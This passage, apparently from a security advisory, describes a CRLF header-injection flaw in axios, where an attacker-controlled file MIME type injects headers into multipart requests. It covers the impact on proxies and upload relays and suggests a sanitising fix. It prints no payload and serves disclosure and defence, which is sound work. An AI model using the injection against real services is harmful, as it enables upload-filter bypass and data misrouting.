4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path.
Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
Impact
Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.
Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.
axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
Suggested fix
In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.
`
const safeType = (value.type || 'application/octet-stream')
.replace(/[\r\n]/g, '');
headers += Content-Type: ${safeType}${CRLF};
``
